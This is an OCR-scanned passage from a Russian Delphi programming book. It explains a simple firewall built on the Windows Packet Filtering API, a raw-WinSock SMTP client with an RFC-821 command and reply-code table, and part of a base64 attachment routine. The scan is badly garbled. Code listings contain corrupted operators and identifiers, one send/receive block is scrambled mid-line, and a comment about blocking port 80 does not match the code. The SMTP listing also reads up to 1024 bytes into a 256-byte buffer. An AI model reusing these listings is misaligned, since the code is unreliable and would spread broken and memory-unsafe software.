5.1. Сетевой экран 197 • pfi 1 tOut — указатель на структуру, содержащую выходные правила; • pfHandle — буфер, через который можно получить массив указателей фильт- ров. Если это не нужно, то можно установить nil. При создании фильтра с помощью функции PfAddFiltersToInterface правила за- даются в структуре PF FILTER DESCRIPTOR. Эта структура выглядит следующим образом: _PF_FILTER_DESCRIPTOR = packed record dwFI1 terFlags: DWORD: dwRule: DWORD: pfatType: PFADDRESSTYPE: SrcAddr: PByteArray: SrcMask; PByteArray: DstAddr: PByteArray: DstMask: PByteArray: dwProtocol: DWORD; fLateBound: DWORD; wSrcPort; Word; wDstPort: Word; wSrcPortHighRange: Word; wDstPortHlghRange: Word; end; Рассмотрим основные параметры структуры _PF_FILTER_DESCRIPTOR: • dwFilterFl ags — флаги. Сейчас поддерживается только FD_FLAGS_NOSYN; • dwRul e — определяет роль для фильтра; • pfatType — тип адреса для фильтра. Здесь можно указывать PF_IPV4 или PF_IPV6; • SrcAddr, SrcMask и wSrcPort — IP-адрес, маска и порт источника пакета; • DstAddr, DstMask и wDstPort — IP-адрес, маска и порт получателя пакета; • dwProtocol — протокол. Здесь можно указать одно из следующих значений: О FILTER^PROTO ANY — любой протокол; О FILTER-PROTOJCMP - протокол ICMP; О FILTERJ>R0T0_TCP - протокол TCP; О FILTER_PROTO_UDP - протокол UDP. Это основные параметры, которые необходимо указать при создании нового пра- вила. Остальные можно заполнить нулевыми значениями. Созданный интерфейс и правила связываются с сетевым интерфейсом. Для за- щиты сетевого соединения используется функция PfBindlnterfaceToIPAddress: function PfBIndlnterfaceToIPAddressC plnterface: INTERFACE-HANDLE; pfatLInkType: PFADDRESSTYPE; IPAddress: PByteArray): DWORD; stdcall; external IPHLPAPI name *-PfBindInterfaceToIPAddress@12';
198 Глава 5, Сетевая практика Рассмотрим параметры функции PfBindlnterfaceToIPAddress; • plnterface — указатель на созданный нами интерфейс; • pfatLinkType — указывает на тип адреса. В настоящее время используется 4-байтная IP-адресация, поэтому указывается PF_IPV4. Но библиотека уже го- това к использованию шестой версии адресации, и в ближайшем будущем можно будет указывать PF_IPV6; • IPAddress — массив байтов, определяющий IP-адрес интерфейса, который надо защитить. Чтобы отключить защиту, нужно сначала отсоединить интерфейс с фильтрами, а потом удалить его. Для отсоединения используется функция.PfUnBindlnterf асе. У нее только один параметр — указатель на созданный нами ранее интерфейс. Для удаления применяется функция PfDel etelnterfасе. Здесь тоже один параметр в виде указателя на интерфейс, который надо найти и «уничтожить». 5.1.2. Пример использования фильтрации Когда мы напишем пример, то компилятор должен будет знать о функциях филь- трации. В Visual Studio .NET для этого есть нужный заголовочный файл — fltdefs.h, а вот Borland что-то в этом деле отстает. Мне пришлось потратить целый день на поиски нормального варианта этого файла для Delphi, и, в конце концов, было найдено решение в виде модуля fltdefs.pas. Данный модуль вы можете найти на компакт-диске в каталоге Additional\PacketFilter. Для иллюстрации примера я создал новое приложение с двумя кнопками — За- пуск и Остановить. По нажатии первой кнопки будут устанавливаться несколько фильтров, а по нажатии второй будет происходить их отключение. Код, записы- ваемый на нажатие первой кнопки, приведен в листинге 5.1. Листинг 5.1. Установка фильтров procedure TFi rev/al 1 Form.btStartFi 1 terCi 1 ck(Sender; TObject); var wsaData: TWSAData; begin if (WSAStartup(MakeWord(l,l), wsaData) <> 0) then begin ShowMessage('Ошибка WinSock'); exit; end; if not GetLocalIPAddr(@ipLocal) then exit; // Создание интерфейса PfCreateInterface(O, PF_ACTION__FORWARD, PF_ACTION_FORWARD, False, True, hlF); // Добавление нескольких фильтров AddFiIter(true, * 192.168.1.Г , FILTER_PROTO_TCP, nil); AddFilter(true, '192.168.8.57’, FILTER_PROTO_TCP, '21'); AddFilter(false, '192.168.1.3', FILTER_PROTO_ANY, '7'); AddFilter(true, '192.168.1.4', FILTER_PROTO__UDP, ’1024');
5.1. Сетевой экран 199 // Блокировка любых исходящих обращений к порту 80 AddF11ter(false, nil, FILTER_PROTOJCP, ’2Г); // Привязка интерфейса к локальному адресу PfB1ndInterfaceToIPAddress(hIF, PF_IPV4, @1pLocal); btStopFi1 ter.Enabled:=true; end; Обратите внимание, что в самом начале загружается библиотека WinSock, так как для работы понадобятся сетевые функции. Если этого не сделать, то ошибок во время выполнения программы будет очень много. Далее создается новый интерфейс PfCreatelnterface, и к нему добавляются филь- тры с помощью функции AddFi 1 ter. Эту функцию мы рассмотрим чуть позже. Обратите внимание, что фильтры можно устанавливать на определенную маши- ну и не указывать порт: AddFi1 ter(true, '192.168.1.Г, ptTcp, nil); В этом случае обращения на любой порт с адреса 192.168.1.1 будут закрыты. Мож- но запретить обращение на определенный порт с любого компьютера, используя такую запись: AddFi 1 ter (true. nil, ptTcp, ’2Г); Функция PfBindlnterfaceToIPAddress вызывается после того, как фильтры сфор- мированы, для их связи с локальным сетевым интерфейсом. Мы также делаем кнопку останова фильтрации доступной, чтобы можно было остановить сетевой экран. Теперь посмотрим на функцию AddFiIter. Ее текст приведен в листинге 5.2. Листинг 5.2. Функция установки фильтра procedure TF1rewall Form.AddFi1 ter(inP: Boolean;lpszRemote: PChar: protoType: DWORD; IpszPort: PChar); var IpFlt; PF_FILTER_DESCRIPTOR; dwPort; Integer; IpDest: TIpBytes; IpSrcMask; TIpBytes: IpDstMask; TIpBytes; begin ZeroMemory(@1pFlt, S1zeOf(IpFlt)); IpFlt.dwFilterFlags : = FD_FLAGS_NOSYN; IpFlt.dwRule ;= 0; IpFlt.pfatType := PF_IPV4; IpFlt.fLateBound ;= 0; IpFlt.dwProtocol ;= prototype; If Asslgned(lpszPort) then dwPort ;= StrToIntDef(IpszPort, FILTER_TCPUDP_PORT__ANY) продолжение &
200 Глава 5, Сетевая практика Листинг 5.2 (продолжение) else dwPort := FILTER_TCPUDP_PORT_ANY; if inP then begin ipFlt.wDstPort := FILTER JCPUDP_PORT_ANY; ipFlt.wDstPortHlghRange := FILTER_TCPUDP_PORT_ANY; IpFlt.wSrcPort ; = dwPort; ipFlt.wSrcPortHighRange := dwPort; end else begin ipFlt.wDstPort := dwPort; ipFlt.wDstPortHlghRange ; = dwPort; ipFlt.wSrcPort ;= FILTER_TCPUDP_PORT_ANY; ipFlt.wSrcPortHighRange ;= FILTER_TCPUDP_PORT_ANY; end; StrToIP('255.255.255.0', @ipSrcMask); StrToIP('255.255.255.0', @ipDstMask); if inP then begin if Assigned(lpszRemote) then begin ipFlt.SrcAddr := PByteArray(StrToIp(lpszRemote. @ipDest)); ipFlt.SrcMask ;= @ipSrcMask; end else begin ipFlt.SrcAddr := PByteArray(StrToIp('0.0.0.0', @ipDest)); StrToIPC'0.0.0.0', @ipSrcMask); ipFlt.SrcMask ; = @ipSrcMask; end; ipFlt.DstAddr ;=@ipLocal; ipFlt.DstMask ;= @ipDstMask; PfAddFiltersToInterface(hIF. 1, @ipFlt, 0, nil, nil); end else begin ipFlt.SrcAddr ;=@ipLocal; ipFlt.SrcMask ;= @ipSrcMask; if Assigned(lpszRemote) then begin ipFlt.DstAddr ;= PByteArray(StrToIp(lpszRemote, @ipDest)); ipFlt.DstMask ;= @ipDstMask; end else begin ipFlt.DstAddr ;= PByteArray(StrToIp('0.0.0.0', @ipDest));
5.1. Сетевой экран 201 StrToIP('О.О.О.О', @ipDstMask); ipFlt.DstMask ; = @ipDstMask; end; PfAddFiltersToInterface(hIF, 0. nil, 1, @ipFlt, nil); end; end; В функции AddFi 1 ter вначале обнуляется содержимое структуры i pFl t, имеющей тип _PF_FILTER_DESCRIPTOR. Для этого вызывается функция ZeroMemory, у которой в первом параметре нужно задать указатель на обнуляемую память, а во втором — размер. После этого заполняются поля структуры. Как мы уже говорили, в параметре dwFilterFlags должны указываться флаги, но на данный момент поддерживается только FD_FLAGS_NOSYN. Так как сейчас пока используется четвертая версия IP-адресации, в параметре pf at - Туре устанавливается флаг PF_IPV4. Для протокола (параметр dwProtocol) задается значение, которое было указано в параметре protoType функции AddFiIter. Далее заполняются параметры адреса DstAddr, SrcAddr, масок и портов, в зависи- мости от того, предназначен ли фильтр для входящих пакетов или нет. Когда структура сформирована, можно вызывать функцию PfAddFiltersToInterface для установки нужного фильтра. По нажатии кнопки останова выполняется следующий код; procedure TFirewall Form.btStopFilterCiick(Sender: TObject); begin PfUnBindlnterface(hlF); PfDeletelnterface(hlF); WSACleanup; btStopFilter.Enabled := false; end; Сначала отсоединяем интерфейс с помощью функции PfUnBindlnterfасе и только потом удаляем его функцией PfDel etelnterfасе. Теперь нам уже не нужна сетевая библиотека WinSock, поэтому ее можно выгрузить. ПРИМЕЧАНИЕ ---------------------------------------------------------------------- Исходный код рассмотренного здесь примера находится на компакт-диске в каталоге Sources\ch05\Firewall. Как видите, создать свой собственный сетевой экран не так уж и сложно. Только вот в качестве движка будет использоваться встроенный в систему сервис Packet Filtering от MS. Системное окно настройки безопасности сетевого соединения пред- ставлено на рис. 5.3. Для решения простых задач этого достаточно. Данный пример описывал создание сетевого экрана на основе правил. Более мощ- ные системы имеют возможность определения основных атак, защиту от скани- рования, проверку правильности входящих данных, отслеживание корректности заголовков пакетов и т. д.
202 Глава 5. Сетевая практика Рис. 5.3. Системное окно настройки безопасности 5.2. SMTP-клиент на WinSock API Сейчас в Интернете можно найти много компонентов для приема и отправки по- чты или для использования других протоколов. Но программистов интересует, как написать собственные компонент или программу, не применяя компоненты для работы с протоколами. Иногда это действительно нужно, особенно когда вы пишете приложение полностью на Win API, без применения визуальной модели, и не можете воспользоваться готовыми компонентами. В данной главе мы рассмотрим процесс работы по протоколу SMTP на примере SMTP-клиента. Этот протокол регламентируется стандартом RFC-821 (Request For Comments — запросы на комментарии, описывающие стандарты работы ин- тернет-протоколов), и для создания примера нам понадобится его описание. Сна- чала мы изучим стандарт, а потом разберем его применение на практике. Разобравшись с примером SMTP-клиента, вы сможете написать приложения, ра- ботающие по другим стандартам. Единственное, что вам понадобится, — описа- ние соответствующего RFC. 5.2.1. Описание RFC-821 Самым распространенным протоколом для передачи e-mail сообщений, является SMTP. Список основных команд SMTP, необходимых при создании программы клиента, приведен в табл. 5.1. Это далеко не все доступные команды (см. соответствующий RFC), но их доста- точно для реализации программы отправки e-mail сообщений.
5.2. SMTP-клиент на WinSock API 203 Таблица 5.1. Основные команды протокола SMTP Команда . Описание НЕЮ Идентификация на SMTP-сервере. После команды HELO указывают имя локального компьютера MAIL Начало передачи сообщения. Чаще всего эта команда выглядит как MAIL FROM <e@mail.ru>?, где e@mail.ru — это адрес отправителя RCPT DATA Идентификация получателя сообщения Начало тела сообщения. Передача данных завершается последовательностью символов <CR><LF>.<CR><LF> RSET NOOP Отмена выполнения текущей операции На этот запрос сервер ответит сообщением ОК. Это необходимо для проверки связи или продления времени сеанса. Если в течение определенного времени не производить обмен сообщениями с сервером, то сервер может разорвать соединение. С помощью этой команды можно показать активность, и сервер сбросит счетчик timeout, таким образом, время простоя начнет считаться заново QUIT HELP Выход Позволяет получить справку о доступных командах Первые три команды являются обязательными, но для отправки e-mail нужна команда DATA, где будет храниться текст сообщения. Обмен сообщениями происходит в простом текстовом режиме. Это значит, что вы просто соединяетесь с SMTP-сервером на соответствующем порте (по умол- чанию это 25) и посылаете ему текстовые команды. В листинге 5.3 приведен пред- полагаемый снимок журнала передачи сообщения из программы, которую мы ско- ро напишем. Листинг 5.3. Снимок журнала выполнения <220 smtp.aaanet.ru ESMTP Exim 4.30 Wed. 14 Jul 2004 15:20:17 +0400 >HELO notebook <250 smtp.aaanet.ru Hello notebook [80.80.99.95] >MAIL FROM: <vasya@pupkin.ru> <250 OK >RCPT TO: <horrifjc@vr-online.ru> <250 Accepted >DATA <354 Enter message, ending with on a line by Itself >From: <vasya@pupkin.ru> >To: <horrific@vr-online.ru> продолжение &
204 Глава 5. Сетевая практика Листинг 5-3 (продолжение) >Mime-VersIon: 1.0 >Content-Type: text/plain: charset=«us-ascii >mmMessage >Test mesage <250 OK id=lBkhoA-OOOEkB-OS >QUIT <221 smtp.aaanet.ru closing connection Если в начале строки стоит знак <, то текст этой строки пришел с сервера, а если >, то текст был отправлен на сервер. Эти символы добавлены программой для луч- шего понимания того, откуда появились команды. Сразу после соединения с сервером он «здоровается» с нами сообщением, начи- нающимся с числа 220. После этого числа могут быть названия сервера, домена и другая информация. Получив это сообщение, мы видим, что сервер готов к при- ему команд. Теперь я должен «поздороваться» с сервером и сообщить ему свое имя. Это про- исходит командой НЕЮ notebook. В данном случае notebook — это имя моего компь- ютера. На приветствие сервер отвечает своим сообщением с кодом 250 и адресом. Далее отправляем адрес отправителя (MAIL FROM: <vasya@pupki n. ru>) и адрес полу- чателя (RCPT ТО: <horr 1 f i c@vr - onl i ne. ru>). На обе команды сервер должен ответить сообщениями с кодом 250. Теперь посылаем команду DATA. После этого начинается тело письма, в котором сначала идет заголовок, а потом уже текст сообщения. На все отправляемые те- перь данные сервер не будет отвечать, поэтому можно не дожидаться ответа. В заголовке мы снова указываем адресата и получателя в следующем виде: From: <vasya@pupkin.ru> То: <horrific@vr-online.ru> Если письмо должно иметь тему, то нужно переслать следующий текст: Subject: Текст темы письма Далее указывается кодировка текста сообщения. В данном случае мы это делаем при помощи таких записей: >Mime-Version: 1.0 >Content-Type: text/plain: charset="us-ascii Теперь можно построчно передавать текст сообщения. Тело письма завершается ко- мандой <CR><LF>. <CR><LF> (конец строки #13, перевод каретки #10, точка, конец стро- ки #13, перевод каретки). Сервер должен нам ответить сообщением с кодом 250.
5.2. SMTP-клиент на WinSock API 205 На этом передача данных завершена и можно выходить из системы командой QUIT. Для тестирования всего вышесказанного можно воспользоваться Telnet-клиен- том. С помощью него надо подключится на 25 порт SMTP-сервера и выполнить нужные команды. Диалоговое окно Telnet-клиента программы CyD Net Utils, в которой я выполнил несколько SMTP-команд, представлено на рис. 5.4. Рис. 5.4. Отправка сообщения через Telnet-клиента Чтобы отправить последовательность завершения данных (<CR><LF>. <CR><LF>), нуж- но нажать Enter, потом точку и снова Enter. Коды сообщений, которые мы можем получить от сервера, приведены в табл. 5.2. Таблица 5.2. Коды сообщений, передаваемых сервером Коя Описание 211 214 220 221 250 251 354 Ответ на состояние системы или помощь Помощь Служба готова к работе Завершение работы Последняя операция выполнена успешно Данный адресат не является местным, и будет использована переадресация Начало тела сообщения, которое должно заканчиваться последовательностью <CRxLF>.<CRxLF> 421 450 451 452 500 501 502 503 504 Служба недоступна, соединение закрывается Запрошенная команда не выполнена, так как недоступен почтовый ящик Запрошенная команда не выполнена, произошла локальная ошибка при выполнении Команда не выполнена из-за нехватки системных ресурсов Синтаксическая ошибка команды, команда не распознана Синтаксическая ошибка в параметрах команды Команда не поддерживается сервером Неверная последовательность команд Данная команда должна быть без аргументов продолжение &
206 Глава 5. Сетевая практика Таблица 5.2 (продолжение) Код Описание 550 551 552 553 554 Запрошенная команда не выполнена из-за недоступности ящика Данный адресат не является местным, и будет использована переадресация Запрошенная команда прервана, закончилось свободное место на диске Команда не выполнена, потому что указано недопустимое имя ящика Транзакция не выполнена Коды необходимо проверять для контроля правильности выполнения наших ко- манд. Например, если сервер ответил сообщением, в котором первые три цифры равны числу 451, то команда не выполнена. Надо повторить попытку снова или выйти, потому что письмо может быть уже не отправлено С большинством из этих ошибок вы никогда не столкнетесь, потому что они уста- рели и использовались для обмена сообщениями между терминалами, когда служ- бы e-mail были более простыми 5.2.2. Реализация SMTP-клиента Теперь посмотрим на практическую реализацию SMTP-клиента. Давайте созда- дим новый проект и форму (рис. 5.5). Рис. 5.5. Форма будущей программы На форме имеются три поля ввода для указания следующей информации: 1. Адрес SMTP-сервера, через который будет отправляться письмо. В почтовых клиентах его выносят в настройки, мы укажем настройки в главном окне. 2. Порт сервера. Чаще всего используется порт 25, но в моей сети на прокси-сер- вере используется 25025, поэтому я прописал этот порт в исходный код. Воз- можны и другие данные, тогда порт изменяется. 3. Адрес получателя нашего сообщения.
5.2. SMTP-клиент на WinSock API 207 Помимо этого на форме расположены два компонента ТМето для ввода текста со- общения и отображения хода отправки сообщения (всей информации, отправля- емой и получаемой по сети). Код, который должен выполняться по нажатии кнопки Отправить, приведен в ли- стинге 5.4. Листинг 5.4- Отправка e-mail сообщения с помощью Win API procedure ТТСРС11entForm.btSendClick(Sender: TObject); var wData: WSADATA; sServerListen: TSOCKET; server_addr; sockaddrjn; sRecvBuff: array [0..255] of char; TempStr: Ansi String; i, iRet; Integer; begin mmLog.Clear; // Загрузка WinSock if WSAStartup(MAKEWORD(1.1). wData) <> 0 then begin MessageBox(0, 'He могу загрузить WinSock'. 'Ошибка'. 0); exit; end; // Создание сокета sServerListen : = socket(PF_INET. SOCK_STREAM. IPPROTOJP); if sServerListen = INVALID-SOCKET then begin MessageBox(0, 'Ошибка создания сокета'. 'Ошибка'. 0); exit; end; // Заполнение структуры адреса server_addr.sin_addr.s_addr : = htonl(INADDR_ANY); server_addr.sin_family ; = AF_INET; server_addr,sin_port := htons(StrToInt(edPort.Text)); server_addr.sin_addr ; = LookupName(edServer.Text); if (connect(sServerListen. server_addr. sizeof(server_addr)) = SOCKET_ERROR) then begin TestWinSockError('Connect'); exit; . end; TestFuncError(recv(sServerListen. sRecvBuff. 1024. 0). 'Ошибка приветствия'); TempStr ;= sRecvBuff; продолжение
208 Глава 5, Сетевая практика Листинг 5-4 (продолжение) mmLog.L1nes.Add('<‘+Сору(TempStr, 1, Pos(#13, TempStr))); Appl1 cation.ProcessMessages; // «Поприветствуем» сервер TempStr := 'HELO '+GetLocalHost+#13+#10; CopyMemory(@sRecvBuff, PChar(TempStr), Length(TempStr)); TestFuncError(send(sServerListeh, sRecvBuff, Length(TempStr), 0), ‘Send HELO'): mmLog.Lines.Add(’>'+Copy(TempStr. 1. Pos(#13, TempStr))); TestFuncError(recv(sServerListen, sRecvBuff, SizeOf(sRecvBuff), 0), 'Ошибка приветствия'); TempStr := sRecvBuff; mmLog.Lines.Add(’<'+Copy(TempStr. 1, Pos(#13, TempStr))); Appli cati on.ProcessMessages; // Скажем, от кого письмо TempStr ;= 'MAIL FROM;<vasya@pupkin.ru>'+#13+#10; CopyMemory(@sRecvBuff, PChar(TempStr), Length(TempStr)); TestFuncError(send(sServerListen, sRecvBuff, Length(TempStr). 0), 'Send MAIL FROM'); mmLog.Lines.Add('>'+Copy(TempStr, 1, Pos(#13, TempStr))); TestFuncError(recv(sServerListen, sRecvBuff, Size0f(sRecvBuff), 0), 'Ошибка адресата'); TempStr ;= sRecvBuff; mmLog.Lines.Add('<'+Copy(TempStr, 1, Pos(#13, TempStr))); Appl i cati on.ProcessMessages; // Скажем, для кого письмо TempStr ;= *RCPT T0;<'+edSendTo.Text+'>'+#13+#10; CQpyMemory(@sRecvBuff, PChar(TempStr), Length(TempStr)); TestFuncError(send(sServerListen, sRecvBuff, Length(TempStr), 0), 'Send MAIL TO'); mmLog.Lines.Add('>'+Copy(TempStr, 1. Pos(#13, TempStr))); TestFuncError(recv(sServerListen, sRecvBuff, Size0f(sRecvBuff), 0), 'Ошибка получателя'); TempStr ;= sRecvBuff; mmLog.Lines.Add('<'+Copy(TempStr, 1, Pos(#13, TempStr))); Appli cation.ProcessMessages; // Начало отправки данных TempStr ;= 'DATA'+#13+#10; CopyMemory(@sRecvBuff, PChar(TempStr), Length(TempStr)); TestFuncError(send(sServerListen, sRecvBuff, Length(TempStr). 0). 'Send DATA'); mmLog.Lines.Add('>'+Copy(TempStr, 1, Pos(#13, TempStr)));
5.2. SMTP-клиент на WinSock API 209 TestFuncError(recv(sServerListen, sRecvBuff, SizeOf(sRecvBuff). 0), 'Ошибка начала данных'); TempStr := sRecvBuff; mmLog.Lines.Add('<‘+Copy(TempStr. 1, Pos(#13, TempStr))); Appl1cati on.ProcessMessages; //////////////////// // Заголовок ///////////////////// // Для TempStr ;= ,From;<vasya@pupkin.ru>,+#13+#10; CopyMemory(@sRecvBuff. PChar(TempStr), Length(TempStr)); TestFuncError(send(sServerListen. sRecvBuff. Length(TempStr). 0). 'Send MAIL FROM’); mmLog.Lines.Add('>'+Copy(TempStr. 1. Pos(#13. TempStr))); // От TempStr ;= ,To:<,+edSendTo.Text+‘>,+#13+#10; CopyMemory(@sRecvBuff, PChar(TempStr). Length(TempStr)); TestFuncError(send(sServerListen. sRecvBuff. Length(TempStr), 0). 'Send MAIL TO'); mmLog.Lines.Add('>’+Copy(TempStr. 1. Pos(#13. TempStr))); // Кодировка TempStr ;= 'Mime-Version; 1.0'+#13+#10+'Content-Type; text/plain; charset = "us-ascii'+#13+#10; CopyMemory(@sRecvBuff. PChar(TempStr). Length(TempStr)); TestFuncError(send(sServerListen. sRecvBuff. Length(TempStr), 0). 'Send MAIL TO'): mmLog.Lines.Add('>'+Copy(TempStr, 1, Pos(#13. TempStr))); for i ;= 0 to mmMessage.Lines.Count-1 do begin // Отправляем строку сообщения TempStr ;= mmMessage.Lines[i]+#13+#10; while TempStro'' do begin CopyMemory(@sRecvBuff. PChar(TempStr). Length(TempStr)); IRet := send(sServerListen. sRecvBuff. Length(TempStr). 0): if iRet = SOCKETJRROR then break; mmLog.Lines.Add('>'+Copy(TempStr. 1. Pos(#13. TempStr))); // Удаляем отправленные данные из переменной TempStr Delete(TempStr. 1, iRet); end; end; продолжение & 8 Зак. 308
210 Глава 5, Сетевая практика Листинг 5-4 (продолжение) II Конец сообщения TempStr : = #13+#10+‘. ч-#13+#10: CopyMemory(@sRecvBuff. PChar(TempStr), Length(TempStr)): TestFuncError(send(sServerListen. sRecvBuff, Length(TempStr). 0), 'Send .’): mmLog.Lines.Add(’>'+Copy(TempStr. 1, Pos(#13. TempStr))); TestFuncError(recv(sServerListen. TempStr •:= sRecvBuff: mmLog.L i nes.Add('<'+Copy(TempStr, Appl1cation.ProcessMessages; sRecvBuff. SizeOf(sRecvBuff), 0), 'Ошибка конца сообщения’): 1. Pos(#13, TempStr))); // Выход TempStr : = 'QUIT'+#13+#10: CopyMemory(@sRecvBuff, PChar(TempStr), Length(TempStr)): TestFuncError(send(sServerListen, sRecvBuff, Length(TempStr), 0), 'Send QUIT’): mmLog.Lines.Add('>'+Copy(TempStr, 1, Pos(#13, TempStr))); TestFuncError(recv(sServerListen, sRecvBuff, SizeOf(sRecvBuff), 0), 'Ошибка выхода'): TempStr := sRecvBuff: mmLog.Lines.Add('<'+Copy(TempStr. 1, Pos(#13, TempStr))): Appli cation.ProcessMessages: CloseSocket(sServerListen): end: Как видите, мы просто посылаем команды SMTP в текстовом режиме на задан- ный порт SMTP-сервера (рис. 5.6). Рис. 5.6. Программа в работе
5.3. Отправка файлов по почте 211 5.2.3. Передача больших строк Команды SMTP небольшие, и с их отправкой не возникает проблем. Если строка больше, чем переменная, предназначенная для хранения отправляемых данных, то могут возникнуть трудности при передаче сообщений. В этом случае данные будут отправлены не полностью, и мы должны будем продолжить передачу с нуж- ного места. Давайте посмотрим на код, который отвечает за отправку строки: TempStr := mmMessage.Lines[i]+#13+#10; while TempStr <> '' do begin CopyMemory(@sRecvBuff, PChar(TempStr), Length(TempStr)): IRet := send(sServerListen. sRecvBuff. Length(TempStr). 0): if iRet = SOCKET_ERROR then break: mmLog.Lines.Add(’>'+Copy(TempStr. 1. Pos(#13. TempStr))): Delete(TempStr. 1. iRet): end: Отправляемое сообщение попадает в переменную TempStr. Эта переменная имеет тип Ansi String и может содержать строки до 2 гигабайт. Сеть не может сразу при- нять данные такого размера, поэтому приходится идти на ухищрения. Для отправки мы запускаем цикл, который будет выполняться, пока все данные из nepeMeHHoftTempStr не будут отправлены по сети. Внутри цикла данные пере- сылаются. Функция send возвращает действительное количество переданных по сети байтов. Это количество байтов удаляется из строки TempStr, и если опа после этого не стала пустой, то отправлены не все данные и на следующем этапе посы- лается остальная часть строки. ПРИМЕЧАНИЕ ------------------------------------------------------------------ Исходный код рассмотренного здесь примера находится на компакт-диске в каталоге Sources\ch05\SMTPCIient. 5.3. Отправка файлов по почте Мы уже рассмотрели, как отправлять простые письма с помощью Win API, те- перь давайте изучим способы прикрепления файлов к письму. Откройте пример из раздела 5.2 и добавьте на форму строку ввода (TEdit) для указания полного имени файла. В предыдущем примере для отправки текста нуж- но было писать много строк. Это нерационально, поэтому для данного примера я добавил в модуль процедуру SendStr (листинг 5.5). Листинг 5.5. Функция отправки строки procedure SendStr(s:TSocket: str:String); var sRecvBuff: array [0..255] of char: продолжение &
212 Глава 5. Сетевая практика Листинг 5.5 (продолжение) TempStr: Ansi String; begin TempStr := str+#13+#10; CopyMemory(@sRecvBuff, PChar(TempStr). Length(TempStr)); TestFuncErrorCsendCs, sRecvBuff, Length(TempStr). 0), ’Send Attachment’); TCPClientForm.mmLog.Lines.AddC’>'+Copy(TempStr, 1, Pos(#13, TempStr))); end; Процедуре достаточно передать сокет и строку для передачи, и она сама сделает все нужные преобразования. Теперь для передачи данных будем пользоваться этой процедурой. Переходим в процедуру отправки сообщения. Здесь нужно заменить код коди- ровки на следующий: // Кодировка SendStr(sServerListen. 'Mime-Version: 1.0'); SendStrCsServerListen. 'Content-Type: multi part/mixed:'): SendStrCsServerListen, ’boundary^" ========sdfgsagg======"'); SendStrCsServerListen, ''); SendStrCsServerListen, '--========sdfgsagg======'): SendStrCsServerListen, 'Content-Type: text/plain; charset="us-ascii'"): SendStrCsServerListen. ''); // Отправка письма Вначале отправляем серверу версию формата письма. В данном случае это будет также 'Mime-Version: 1.0'. Теперь посылаем команду, указывающую патин содер- жимого. Для простого письма это был text/plain, а в случае с прикрепленными файлами содержимое будет смешанным, то есть тип меняется на multipart/mixed: SendStrCsServerListen. 'Content-Type: multipart/mixed;'); Необходимо указать серверу, как можно отличить содержимое текстового сооб- щения от файла. Для этого посылается следующая команда: boundary = ‘"Разделитель" Программа, которая будет расшифровывать письмо, встретив такой разделитель, будет видеть, что началась новая часть или имеется прикрепленный файл. Чаще всего программисты указывают здесь произвольный текст, который не может встре- титься в тексте письма или в содержимом файла. На этом заголовок закапчивается, и мы должны послать серверу пустую строку как разделитель: SendStrCsServerListen, "); Пустая строка отправляется не для красоты, а для того, чтобы отделить заголовок от текста письма. Теперь можно пересылать текст сообщения. Для этого нужно начать новый блок с разделителя, который мы указали ранее, но в самом начале добавить еще два знака тире:
5.3. Отправка файлов по почте 213 SendStr(sServerListen, '--========sdfgsagg======'); Далее размещается текстовый блок. В качестве его типа будет использоваться уже знакомый нам text/plain. После указания типа блока нужно снова отправить пу- стую строку — если этого не сделать, то получатель сообщения может не увидеть текст: SendStr(sServerListen. 'Content-Type: text/plain; charset="us-ascii"'): SendStr(sServerListen, ''): Затем запускается цикл отправки текста сообщения, и в нем изменений нет. При- крепленный файл будет отправляться за текстом. Для этого после цикла и до от- правки символа конца сообщения пишем следующие строки кода: // Отправка прикрепления к письму SendStr(sServerListen. "); if edFi1е.Text <> '' then Base64Send(edFi1e.Text); Сначала отправляется пустая строка для отделения текста от будущих данных. После этого осуществляется проверка, указан ли файл, и если это так, то вызывает- ся процедура Base64Send. Данная процедура начинает новый блок письма с помо- щью разделителя и указывает его тип в виде appl i cati on/octet - stream. Содержимое файла отсылается в самой распространенной кодировке Интернета — base64. Текст процедуры Base64Send приведен в листинге 5.6. Листинг 5.6. Процедура кодирования и отправки файла procedure Base64Send(FileName: string); var afile: File; i: longint; quads; integer; b; array[0..2279] of byte: j, k. 1, m: integer; stream: string[76]: begin AssignFile(afile, filename): Reset(afile. 1); SendStr(TCPC1ientForm.sServerLi sten. '--========sdfgsagg======'); SendStr(TCPC1ientForm.sServerListen. 'Content-Type: application/octet-stream: name = "'+ExtractFileName(FileName)+"" ); SendStr(TCPC1ientForm.sServerListen. ’Content-Transfer-Encoding; base64'); SendStr(TCPC1ientForm.sServerListen, 'Content-Disposition: attachment; filename = "'+ExtractFileName(FileName)+,); SendStг(TCPC1ientForm.sServerLi sten, 'Content-Descri ption: attachment'): SendStr(TCPClientForm.sServerListen. ''); stream := ''; quads := 0; продолжение &
214 Глава 5. Сетевая практика Листинг 5.6 (продолжение) j := Filesize(afile) div 2280: for 1 := 1 to j do begin BlockRead(afile. b. 2280): for m := 0 to 39 do begin for k := 0 to 18 do begin 1 := 57*m+3*k; stream[quads+l]:=_Code64[(b[l]di v 4)+l]; stream[quads+2]:=_Code64[(b[l] mod 4)*16 +(b[l+l] div 16)+1]: stream[quads+3]:=_Code64[(b[l+l] mod 16)*4 +(b[l+2] div 64)+l]: stream[quads+4]:=_Code64[b[l+2] mod 64+1]: Inc(quads. 4): if quads = 76 then begin stream[0] : = #76; SendStr(TCPClientForm.sServerListen, stream): quads := 0: . end: end: end; end: j := (Filesize(afile) mod 2280) div 3: for i := 1 to j do begin BlockRead(afile, b, 3): stream[quads+l] := _Code64[(b[0]div 4)+l]; stream[quads+2] := _Code64[(b[0] mod 4)*16 +(b[l] div 16)+1]; stream[quads+3] := _Code64[(b[l] mod 16)*4 +(b[2] div 64)+l]: stream[quads+4] := _Code64[b[2] mod 64+1]: Inc(quads, 4); if quads = 76 then begin stream[0] := #76: SendStr(TCPC1ientForm.sServerListen, stream); quads := 0; end: end: if (Filesize(afile) mod 3) = 2 then begin BlockRead(afile. b. 2): stream[quads+l] := _Code64[(b[0]div 4)+l]:
